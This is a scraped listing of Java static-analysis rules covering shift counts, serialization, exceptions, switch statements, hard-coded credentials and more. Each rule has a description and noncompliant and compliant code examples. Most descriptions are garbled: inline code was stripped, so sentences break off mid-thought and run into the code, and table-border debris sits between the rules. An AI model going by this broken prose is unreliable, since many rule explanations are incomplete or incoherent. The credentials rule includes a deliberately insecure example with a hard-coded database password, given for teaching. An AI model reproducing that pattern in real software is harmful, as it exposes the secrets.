Since an Similarly, when shifting 64-bit integers, the runtime uses the lowest 6 bits of the shift count operand and shifting Noncompliant Code Examplepublic int shift(int a) { int x = a >> 32; // Noncompliant return a << 48; // Noncompliant } Compliant Solutionpublic int shift(int a) { int x = a >> 31; return a << 16; } ExceptionsThis rule doesn't raise an issue when the shift by zero is obviously for cosmetic reasons:
bytes[loc+0] = (byte)(value >> 8); bytes[loc+1] = (byte)(value >> 0); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3030 |
Importing a class statically allows you to use its Noncompliant Code ExampleWith the default threshold value: 4 import static java.lang.Math.*; import static java.util.Collections.*; import static com.myco.corporate.Constants.*; import static com.myco.division.Constants.*; import static com.myco.department.Constants.*; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2061 |
Writers of Noncompliant Code Examplepublic class Watermelon implements Serializable { // ... void writeObject(java.io.ObjectOutputStream out)// Noncompliant; not private throws IOException {...} private void readObject(java.io.ObjectInputStream in) {...} public void readObjectNoData() // Noncompliant; not private {...} static Object readResolve() throws ObjectStreamException // Noncompliant; this method may have any access modifier, may not be static Watermelon writeReplace() throws ObjectStreamException // Noncompliant; this method may have any access modifier, but must return Object {...} } Compliant Solutionpublic class Watermelon implements Serializable { // ... private void writeObject(java.io.ObjectOutputStream out) throws IOException {...} private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {...} private void readObjectNoData() throws ObjectStreamException {...} protected Object readResolve() throws ObjectStreamException {...} private Object writeReplace() throws ObjectStreamException {...} See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2185 |
Certain math operations are just silly and should not be performed because their results are predictable. In particular, Casting a non-floating-point value to floating-point and then passing it to These operations are silly with any constant value: And these oprations are silly with certain constant values:
Noncompliant Code Examplepublic void doMath(int a) { double floor = Math.floor((double)a); // Noncompliant double ceiling = Math.ceil(4.2); // Noncompliant double arcTan = Math.atan(0.0); // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3032 |
Using the standard Noncompliant Code ExampleClassLoader cl = this.getClass().getClassLoader(); // Noncompliant Compliant SolutionClassLoader cl = Thread.currentThread().getContextClassLoader(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2184 |
When arithmetic is performed on integers, the result will always be an integer. You can assign that result to a For instance, if the result of In either case, the result will not be what was expected. Instead, at least one operand should be cast or promoted to the final type before the operation takes place. Noncompliant Code Examplefloat twoThirds = 2/3; // Noncompliant; int division. Yields 0.0 long millisInYear = 1_000*3_600*24*365; // Noncompliant; int multiplication. Yields 1471228928 long bigNum = Integer.MAX_VALUE + 2; // Noncompliant. Yields -2147483647 long bigNegNum = Integer.MIN_VALUE-1; //Noncompliant, gives a positive result instead of a negative one. Date myDate = new Date(seconds * 1_000); //Noncompliant, won't produce the expected result if seconds > 2_147_483 ... public long compute(int factor){ return factor * 10_000; //Noncompliant, won't produce the expected result if factor > 214_748 } public float compute2(long factor){ return factor / 123; //Noncompliant, will be rounded to closest long integer } Compliant Solutionfloat twoThirds = 2f/3; // 2 promoted to float. Yields 0.6666667 long millisInYear = 1_000L*3_600*24*365; // 1000 promoted to long. Yields 31_536_000_000 long bigNum = Integer.MAX_VALUE + 2L; // 2 promoted to long. Yields 2_147_483_649 long bigNegNum = Integer.MIN_VALUE-1L; // Yields -2_147_483_649 Date myDate = new Date(seconds * 1_000L); ... public long compute(int factor){ return factor * 10_000L; } public float compute2(long factor){ return factor / 123f; } or float twoThirds = (float)2/3; // 2 cast to float long millisInYear = (long)1_000*3_600*24*365; // 1_000 cast to long long bigNum = (long)Integer.MAX_VALUE + 2; long bigNegNum = (long)Integer.MIN_VALUE-1; Date myDate = new Date((long)seconds * 1_000); ... public long compute(long factor){ return factor * 10_000; } public float compute2(float factor){ return factor / 123; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2063 |
A non-serializable Noncompliant Code Examplepublic class FruitComparator implements Comparator<Fruit> { // Noncompliant int compare(Fruit f1, Fruit f2) {...} boolean equals(Object obj) {...} } Compliant Solutionpublic class FruitComparator implements Comparator<Fruit>, Serializable { private static final long serialVersionUID = 1; int compare(Fruit f1, Fruit f2) {...} boolean equals(Object obj) {...} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2066 |
Serializing a non- Making the inner class
Noncompliant Code Examplepublic class Pomegranate { // ... public class Seed implements Serializable { // Noncompliant; serialization will fail // ... } } Compliant Solutionpublic class Pomegranate { // ... public static class Seed implements Serializable { // ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3034 |
When reading bytes in order to build other primitive values such as For instance, the binary representation of the integer 640 is To prevent such accidental value conversion, use bitwise and ( This rule raises an issue any time a Noncompliant Code Exampleint intFromBuffer() { int result = 0; for (int i = 0; i < 4; i++) { result = (result << 8) | readByte(); // Noncompliant } return result; } Compliant Solutionint intFromBuffer() { int result = 0; for (int i = 0; i < 4; i++) { result = (result << 8) | (readByte() & 0xff); } return result; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2187 |
There's no point in having a JUnit This rule raises an issue when files in the test directory are named Supported frameworks:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S112 |
Using such generic exceptions as Noncompliant Code Examplepublic void foo(String bar) throws Throwable { // Noncompliant throw new RuntimeException("My Message"); // Noncompliant } Compliant Solutionpublic void foo(String bar) { throw new MyOwnRuntimeException("My Message"); } ExceptionsGeneric exceptions in the signatures of overriding methods are ignored, because overriding method has to follow signature of the throw declaration in the superclass. The issue will be raised on superclass declaration of the method (or won't be raised at all if superclass is not part of the analysis). @Override public void myMethod() throws Exception {...} Generic exceptions are also ignored in the signatures of methods that make calls to methods that throw generic exceptions. public void myOtherMethod throws Exception { doTheThing(); // this method throws Exception } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4488 |
Spring framework 4.3 introduced variants of the Noncompliant Code Example@RequestMapping(path = "/greeting", method = RequestMethod.GET) // Noncompliant public Greeting greeting(@RequestParam(value = "name", defaultValue = "World") String name) { ... } Compliant Solution@GetMapping(path = "/greeting") // Compliant public Greeting greeting(@RequestParam(value = "name", defaultValue = "World") String name) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2065 |
Noncompliant Code Exampleclass Vegetable { // does not implement Serializable private transient Season ripe; // Noncompliant // ... } Compliant Solutionclass Vegetable { private Season ripe; // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2186 |
JUnit assertions should not be made from the Noncompliant Code Examplepublic void run() { // ... Assert.assertEquals(expected, actual); // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database or secret management service. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleConnection conn = null; try { conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=steve&password=blue"); // Sensitive String uname = "steve"; String password = "blue"; conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=" + uname + "&password=" + password); // Sensitive java.net.PasswordAuthentication pa = new java.net.PasswordAuthentication("userName", "1234".toCharArray()); // Sensitive Compliant SolutionConnection conn = null; try { String uname = getEncryptedUser(); String password = getEncryptedPass(); conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=" + uname + "&password=" + password); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2189 |
An infinite loop is one that will never end while the program is running, i.e., you have to kill the program to get out of the loop. Whether it is
by meeting the loop's end condition or via a Noncompliant Code Examplefor (;;) { // Noncompliant; end condition omitted // ... } int j; while (true) { // Noncompliant; end condition omitted j++; } int k; boolean b = true; while (b) { // Noncompliant; b never written to in loop k++; } Compliant Solutionint j; while (true) { // reachable end condition added j++; if (j == Integer.MIN_VALUE) { // true at Integer.MAX_VALUE +1 break; } } int k; boolean b = true; while (b) { k++; b = k < Integer.MAX_VALUE; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3398 |
When a Noncompliant Code Examplepublic class Outie { private int i=0; private void increment() { // Noncompliant i++; } public class Innie { public void doTheThing() { Outie.this.increment(); } } } Compliant Solutionpublic class Outie { private int i=0; public class Innie { public void doTheThing() { increment(); } private void increment() { Outie.this.i++; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S110 |
Inheritance is certainly one of the most valuable concepts in object-oriented programming. It's a way to compartmentalize and reuse code by creating collections of attributes and behaviors called classes which can be based on previously created classes. But abusing this concept by creating a deep inheritance tree can lead to very complex and unmaintainable source code. Most of the time a too deep inheritance tree is due to bad object oriented design which has led to systematically use 'inheritance' when for instance 'composition' would suit better. This rule raises an issue when the inheritance tree, starting from For the parameter of the rule, the following rules are applied:
Examples:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2188 |
Overriding a parent class method prevents that method from being called unless an explicit Noncompliant Code Examplepublic class MyClassTest extends MyAbstractTestCase { private MyClass myClass; @Override protected void setUp() throws Exception { // Noncompliant myClass = new MyClass(); } Compliant Solutionpublic class MyClassTest extends MyAbstractTestCase { private MyClass myClass; @Override protected void setUp() throws Exception { super.setUp(); myClass = new MyClass(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3038 |
There's no point in redundantly defining an Noncompliant Code Examplepublic interface Reportable { String getReport(); } public abstract class AbstractRuleReport implements Reportable{ public abstract String getReport(); // Noncompliant // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4248 |
The Moreover they are the only mechanism available to create instances of the Pattern class, which are necessary to do any pattern matching using
regular expressions. Unfortunately that can be hidden behind convenience methods like It is therefore somewhat easy to inadvertently repeatedly compile the same regular expression at great performance cost with no valid reason. This rule raises an issue when:
Noncompliant Code Examplepublic void doingSomething(String stringToMatch) { Pattern regex = Pattern.compile("myRegex"); // Noncompliant Matcher matcher = regex.matcher("s"); // ... if (stringToMatch.matches("myRegex2")) { // Noncompliant // ... } } Compliant Solutionprivate static final Pattern myRegex = Pattern.compile("myRegex"); private static final Pattern myRegex2 = Pattern.compile("myRegex2"); public void doingSomething(String stringToMatch) { Matcher matcher = myRegex.matcher("s"); // ... if (myRegex2.matcher(stringToMatch).matches()) { // ... } } Exceptions
In which case no issue will be raised. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3039 |
Just as you can't cut something into three halves, you can't grab a This rule detects when negative literal or Noncompliant Code ExampleString speech = "Now is the time for all good people to come to the aid of their country."; String substr1 = speech.substring(-1, speech.length()); // Noncompliant; start and end values both bad String substr2 = speech.substring(speech.length(), 0); // Noncompliant, start value must be < end value char ch = speech.charAt(speech.length()); // Noncompliant Compliant SolutionString speech = "Now is the time for all good people to come to the aid of their country."; String substr1 = speech; // Closest correct values to original code yield whole string String substr2 = new StringBuilder(speech).reverse().toString() char ch = speech.charAt(speech.length()-1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S139 |
This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted. Noncompliant Code Exampleint a1 = b + c; // This is a trailing comment that can be very very long Compliant Solution// This very long comment is better placed before the line of code int a2 = b + c; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S138 |
A method that grows too large tends to aggregate too many responsibilities. Such method inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller methods which focus on well-defined tasks. Those smaller methods will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S135 |
Restricting the number of One Noncompliant Code Examplefor (int i = 1; i <= 10; i++) { // Noncompliant - 2 continue - one might be tempted to add some logic in between if (i % 2 == 0) { continue; } if (i % 3 == 0) { continue; } System.out.println("i = " + i); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1602 |
There are two ways to write lambdas that contain single statement, but one is definitely more compact and readable than the other. Note that this rule is automatically disabled when the project's Noncompliant Code Examplex -> {System.out.println(x+1);} (a, b) -> { return a+b; } Compliant Solutionx -> System.out.println(x+1) (a, b) -> a+b //For return statement, the return keyword should also be dropped |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1844 |
From the Java API documentation:
The purpose of implementing the Noncompliant Code Examplefinal Lock lock = new ReentrantLock(); final Condition notFull = lock.newCondition(); ... notFull.wait(); Compliant Solutionfinal Lock lock = new ReentrantLock(); final Condition notFull = lock.newCondition(); ... notFull.await(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1845 |
Looking at the set of methods in a class, including superclass methods, and finding two methods or fields that differ only by capitalization is confusing to users of the class. It is similarly confusing to have a method and a field which differ only in capitalization or a method and a field with exactly the same name and visibility. In the case of methods, it may have been a mistake on the part of the original developer, who intended to override a superclass method, but instead added a new method with nearly the same name. Otherwise, this situation simply indicates poor naming. Method names should be action-oriented, and thus contain a verb, which is unlikely in the case where both a method and a member have the same name (with or without capitalization differences). However, renaming a public method could be disruptive to callers. Therefore renaming the member is the recommended action. Noncompliant Code Examplepublic class Car{ public DriveTrain drive; public void tearDown(){...} public void drive() {...} // Noncompliant; duplicates field name } public class MyCar extends Car{ public void teardown(){...} // Noncompliant; not an override. It it really what's intended? public void drivefast(){...} public void driveFast(){...} //Huh? } Compliant Solutionpublic class Car{ private DriveTrain drive; public void tearDown(){...} public void drive() {...} // field visibility reduced } public class MyCar extends Car{ @Override public void tearDown(){...} public void drivefast(){...} public void driveReallyFast(){...} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1604 |
Before Java 8, the only way to partially support closures in Java was by using anonymous inner classes. But the syntax of anonymous classes may seem unwieldy and unclear. With Java 8, most uses of anonymous inner classes should be replaced by lambdas to highly increase the readability of the source code. Note that this rule is automatically disabled when the project's Noncompliant Code ExamplemyCollection.stream().map(new Mapper<String,String>() { public String map(String input) { return new StringBuilder(input).reverse().toString(); } }); Predicate<String> isEmpty = new Predicate<String> { boolean test(String myString) { return myString.isEmpty(); } } Compliant SolutionmyCollection.stream().map(input -> new StringBuilder(input).reverse().toString()); Predicate<String> isEmpty = myString -> myString.isEmpty(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1849 |
Calling Noncompliant Code Examplepublic class FibonacciIterator implements Iterator<Integer>{ ... @Override public boolean hasNext() { if(next() != null) { return true; } return false; } ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1607 |
When a test fails due, for example, to infrastructure issues, you might want to ignore it temporarily. But without some kind of notation about why the test is being ignored, it may never be reactivated. Such tests are difficult to address without comprehensive knowledge of the project, and end up polluting their projects. This rule raises an issue for each ignored test that does not have any comment about why it is being skipped.
Noncompliant Code Example@Ignore // Noncompliant @Test public void testDoTheThing() { // ... or @Test public void testDoTheThing() { Assume.assumeFalse(true); // Noncompliant // ... Compliant Solution@Test @Ignore("See Ticket #1234") public void testDoTheThing() { // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5194 |
Many existing switch statements are essentially simulations of switch expressions, where each arm either assigns to a common target variable or returns a value. Expressing this as a statement is roundabout, repetitive, and error-prone. Java 12 added support for switch expressions, which provide more succinct and less error-prone version of switch. Noncompliant Code Examplevoid day_of_week(DoW day) { int numLetters; switch (day) { // Noncompliant case MONDAY: case FRIDAY: case SUNDAY: numLetters = 6; break; case TUESDAY: numLetters = 7; break; case THURSDAY: case SATURDAY: numLetters = 8; break; case WEDNESDAY: numLetters = 9; break; default: throw new IllegalStateException("Wat: " + day); } } int return_switch(int x) { switch (x) { // Noncompliant case 1: return 1; case 2: return 2; default: throw new IllegalStateException(); } } Compliant Solutionint numLetters = switch (day) { case MONDAY, FRIDAY, SUNDAY -> 6; case TUESDAY -> 7; case THURSDAY, SATURDAY -> 8; case WEDNESDAY -> 9; }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S128 |
When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior. Noncompliant Code Exampleswitch (myVariable) { case 1: foo(); break; case 2: // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ? doSomething(); default: doSomethingElse(); break; } Compliant Solutionswitch (myVariable) { case 1: foo(); break; case 2: doSomething(); break; default: doSomethingElse(); break; } ExceptionsThis rule is relaxed in the following cases: switch (myVariable) { case 0: // Empty case used to specify the same behavior for a group of cases. case 1: doSomething(); break; case 2: // Use of return statement return; case 3: // Use of throw statement throw new IllegalStateException(); case 4: // Use of continue statement continue; default: // For the last case, use of break statement is optional doSomethingElse(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif (x == 0) { doSomething(); } else if (x == 1) { doSomethingElse(); } Compliant Solutionif (x == 0) { doSomething(); } else if (x == 1) { doSomethingElse(); } else { throw new IllegalStateException(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S127 |
A Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future. This rule tracks three types of non-invariant stop conditions:
Noncompliant Code Examplefor (int i = 0; i < 10; i++) { ... i = i - 1; // Noncompliant; counter updated in the body of the loop ... } Compliant Solutionfor (int i = 0; i < 10; i++) {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S124 |
This rule template can be used to create rules which will be triggered when the full content of a comment matches a given regular expression. Note
that the regular expression should be expressed using the dotall format (where the For example, one can create a rule with the regular expression Note that, in order to match REVIEW regardless of the case, the |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1710 |
Before Java 8 if you needed to use multiple instances of the same annotation, they had to be wrapped in a container annotation. With Java 8, that's no longer necessary, allowing for cleaner, more readable code. Note that this rule is automatically disabled when the project's Noncompliant Code Example@SomeAnnotations({ // Noncompliant @SomeAnnotation(..a..), @SomeAnnotation(..b..), @SomeAnnotation(..c..), }) public class SomeClass { ... } Compliant Solution@SomeAnnotation(..a..) @SomeAnnotation(..b..) @SomeAnnotation(..c..) public class SomeClass { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1711 |
Just as there is little justification for writing your own String class, there is no good reason to re-define one of the existing, standard functional interfaces. Doing so may seem tempting, since it would allow you to specify a little extra context with the name. But in the long run, it will be a source of confusion, because maintenance programmers will wonder what is different between the custom functional interface and the standard one. Noncompliant Code Example@FunctionalInterface public interface MyInterface { // Noncompliant double toDouble(int a); } @FunctionalInterface public interface ExtendedBooleanSupplier { // Noncompliant boolean get(); default boolean isFalse() { return !get(); } } public class MyClass { private int a; public double myMethod(MyInterface instance){ return instance.toDouble(a); } } Compliant Solution@FunctionalInterface public interface ExtendedBooleanSupplier extends BooleanSupplier { // Compliant, extends java.util.function.BooleanSupplier default boolean isFalse() { return !getAsBoolean(); } } public class MyClass { private int a; public double myMethod(IntToDoubleFunction instance){ return instance.applyAsDouble(a); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2925 |
Using Noncompliant Code Example@Test public void testDoTheThing(){ MyClass myClass = new MyClass(); myClass.doTheThing(); Thread.sleep(500); // Noncompliant // assertions... } Compliant Solution@Test public void testDoTheThing(){ MyClass myClass = new MyClass(); myClass.doTheThing(); await().atMost(2, Duration.SECONDS).until(didTheThing()); // Compliant // assertions... } private Callable<Boolean> didTheThing() { return new Callable<Boolean>() { public Boolean call() throws Exception { // check the condition that must be fulfilled... } }; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2924 |
While some This rule raises an issue when This rule also applies to the JUnit 5 equivalent classes: Noncompliant Code Examplepublic class ProjectDefinitionTest { @Rule public TemporaryFolder temp = new TemporaryFolder(); // Noncompliant @Test public void shouldSetKey() { ProjectDefinition def = ProjectDefinition.create(); def.setKey("mykey"); assertThat(def.getKey(), is("mykey")); } } Compliant Solutionpublic class ProjectDefinitionTest { @Test public void shouldSetKey() { ProjectDefinition def = ProjectDefinition.create(); def.setKey("mykey"); assertThat(def.getKey(), is("mykey")); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: if (condition1) { // Compliant - depth = 1 /* ... */ if (condition2) { // Compliant - depth = 2 /* ... */ for(int i = 0; i < 10; i++) { // Compliant - depth = 3, not exceeding the limit /* ... */ if (condition4) { // Noncompliant - depth = 4 if (condition5) { // Depth = 5, exceeding the limit, but issues are only reported on depth = 4 /* ... */ } return; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S131 |
The requirement for a final Noncompliant Code Exampleswitch (param) { //missing default clause case 0: doSomething(); break; case 1: doSomethingElse(); break; } switch (param) { default: // default clause should be the last one error(); break; case 0: doSomething(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } ExceptionsIf the Example: public enum Day { SUNDAY, MONDAY } ... switch(day) { case SUNDAY: doSomething(); break; case MONDAY: doSomethingElse(); break; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3923 |
Having all branches in a Noncompliant Code Exampleif (b == 0) { // Noncompliant doOneMoreThing(); } else { doOneMoreThing(); } int b = a > 12 ? 4 : 4; // Noncompliant switch (i) { // Noncompliant case 1: doSomething(); break; case 2: doSomething(); break; case 3: doSomething(); break; default: doSomething(); } ExceptionsThis rule does not apply to if(b == 0) { //no issue, this could have been done on purpose to make the code more readable doSomething(); } else if(b == 1) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1989 |
Even though the signatures for methods in a servlet include This rule checks all exceptions in methods named "do*" are explicitly handled in servlet classes. Noncompliant Code Examplepublic void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String ip = request.getRemoteAddr(); InetAddress addr = InetAddress.getByName(ip); // Noncompliant; getByName(String) throws UnknownHostException //... } Compliant Solutionpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { String ip = request.getRemoteAddr(); InetAddress addr = InetAddress.getByName(ip); //... } catch (UnknownHostException uhex) { //... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2718 |
The use of the Note that this rule is automatically disabled when the project's Noncompliant Code Examplepublic Date trunc(Date date) { return DateUtils.truncate(date, Calendar.SECOND); // Noncompliant } Compliant Solutionpublic Date trunc(Date date) { Instant instant = date.toInstant(); ZonedDateTime zonedDateTime = instant.atZone(ZoneId.systemDefault()); ZonedDateTime truncatedZonedDateTime = zonedDateTime.truncatedTo(ChronoUnit.SECONDS); Instant truncatedInstant = truncatedZonedDateTime.toInstant(); return Date.from(truncatedInstant); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2959 |
Under the reasoning that cleaner code is better code, the semicolon at the end of a try-with-resources construct should be omitted because it can be omitted. Noncompliant Code Exampletry (ByteArrayInputStream b = new ByteArrayInputStream(new byte[10]); // ignored; this one's required Reader r = new InputStreamReader(b);) // Noncompliant { //do stuff } Compliant Solutiontry (ByteArrayInputStream b = new ByteArrayInputStream(new byte[10]); Reader r = new InputStreamReader(b)) { //do stuff } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1860 |
Objects which are pooled and potentially reused should not be used for synchronization. If they are, it can cause unrelated threads to deadlock
